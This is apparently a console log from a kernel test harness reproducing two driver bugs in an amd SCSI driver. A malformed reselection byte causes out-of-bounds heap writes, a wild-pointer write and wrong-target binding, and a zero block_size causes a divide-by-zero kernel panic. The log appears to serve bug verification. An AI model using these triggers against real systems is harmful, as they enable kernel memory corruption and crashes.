DFH:   PASS: amd.c:1848 wrote cur_target(-1) as 0xFF to DESTID reg
DFH:   PASS: amd.c:1849-1850 loaded sync regs from tinfo[-1] (OOB bytes of untagged_srbs[7][7])
DFH:   PASS: amd.c:1851-1853 loaded C1/C3/C4 from tinfo[-1] (OOB bytes of untagged_srbs[7][6])
DFH:   follow-on MSG IN: victim SRBState before = 0xaaaa
DFH:   follow-on MSG IN: victim SRBState after  = 0x0080 (SRB_DISCONNECT=0x0080)
DFH:   PASS: amd.c:1218 wrote SRB_DISCONNECT through the wild active_srb into the victim object (2-byte write at an address taken from OOB heap memory)
DFH:   PASS: amd.c:1219 second OOB RMW disc_count[-1][0]++ back to 0x0000
DFH:   PASS: amd.c:1219 third OOB RMW disc_count[-1][0]++ -> 0x0001 (tinfo[6].goal attacker-steered)
DFH:   final tinfo[6]..[7]    softc640 [0000000000000000 0100000000000000 0000000000000000]
DFH: ==== DF-2427 scenario A2: poison byte 0x80, lun 6 (field-alias variant; deref=0) ====
amd0: Unexpected reselection for target -1, Issuing Abort
DFH:   post-reselect: cur_target=0 cur_lun=0 active_srb=0x6ffffffff
DFH:   >>> kernel exhibits VULNERABLE (wild active_srb) behavior <<<
DFH:   PASS: amd.c:1834 read untagged_srbs[-1][6] == packed (cur_target,cur_lun) -> non-canonical wild pointer
DFH:   PASS: amd.c:1845 OOB WRITE untagged_srbs[-1][6]=NULL zeroed cur_target and cur_lun
DFH:   PASS: amd.c:1844 OOB dec hit disc_count[-1][6] (tinfo[7].goal 0x0000 -> 0xFFFF)
DFH:   chip after amd_Reselect       CMD=12 DESTID=ff INTSTAT=04 SYNCPERIOD=00 SYNCOFF=00 C1=00 C3=00 C4=00 DMAcmd=00 (FIFO=00)
DFH: ==== DF-2427 scenario B: multi-bit byte 0xA8, attacker on wire at ID 5, decodes to target 3 ====
DFH:   post-reselect: cur_target=3 cur_lun=0 active_srb=0xffffffff8179fcd8 (target-3 SRB=0xffffffff8179fcd8)
DFH:   >>> kernel exhibits VULNERABLE (wrong target accepted) behavior <<<
DFH:   PASS: amd.c:1831 decoded WRONG target 3 from attacker ID-5 reselect (confused deputy)
DFH:   PASS: amd.c:1834 bound reselection to target 3's SRB -- target-3 I/O now resumes under target-5's nexus
DFH:   PASS: amd.c:1844-1845 consumed target-3 disconnect slot
DFH:   chip after amd_Reselect       CMD=12 DESTID=03 INTSTAT=04 SYNCPERIOD=3a SYNCOFF=0c C1=71 C3=73 C4=74 DMAcmd=00 (FIFO=00)
DFH:   PASS: chip reprogrammed for target 3's sync parameters
DFH:   PASS: no out-of-struct damage in the in-range variant
DFH: ==== DF-2427 scenario C: valid byte 0xA0 -> target 5 (control) ====
DFH:   post-reselect: cur_target=5 cur_lun=0 active_srb=0xffffffff8179fb58 (target-5 SRB=0xffffffff8179fb58)
DFH:   PASS: valid reselect binds the correct nexus
DFH:   chip after amd_Reselect       CMD=12 DESTID=05 INTSTAT=04 SYNCPERIOD=50 SYNCOFF=0f C1=75 C3=35 C4=54 DMAcmd=00 (FIFO=00)
DFH:   PASS: chip programmed for target 5
DFH:   PASS: control run leaves both canary rings intact
DFH: ########## DF-2427 battery mode=1 END: 0 check(s) failed ##########
DFH: ########## DF-2426 control BEGIN ##########
DFH: ==== DF-2426 control: block_size = 512 ====
DFH: ---- XPT_CALC_GEOMETRY block_size=512 volume_size=204800 (expecting sane geometry) ----
DFH: RESULT amd_action returned, xpt_done=1 status=0x01 heads=64 secs=32 cylinders=100
DFH:   PASS: nonzero block_size computes 64/32/100 geometry, CAM_REQ_CMP
DFH: ########## DF-2426 control END: 0 check(s) failed ##########
DFH: ==== DF-2426 trigger: block_size = 0 ====
DFH: calling amd_action: Fatal trap 18 imminent on the verbatim kernel (amd.c:683, (1024L*1024L)/ccg->block_size with block_size=0)
DFH: ---- XPT_CALC_GEOMETRY block_size=0 volume_size=204800 (expecting DIVIDE BY ZERO at amd.c:683) ----


Fatal trap 18: integer divide fault while in kernel mode
cpuid = 4; lapic id = 4
instruction pointer	= 0x8:0xffffffff80a7d62d
stack pointer	        = 0x10:0xfffff80116b4c728
frame pointer	        = 0x10:0xfffff80116b4c758
code segment		= base 0x0, limit 0xfffff, type 0x1b
			= DPL 0, pres 1, long 0, def32 0, gran 1
processor eflags	= interrupt enabled, resume, IOPL = 0
current process		= 862
current thread          = pri 6 
kernel: type 18 trap, code=0

CPU4 stopping CPUs: 0x0000002f
 stopped
Stopped at      amd_action+0x16d:       idivq   %rsi,%eax
db>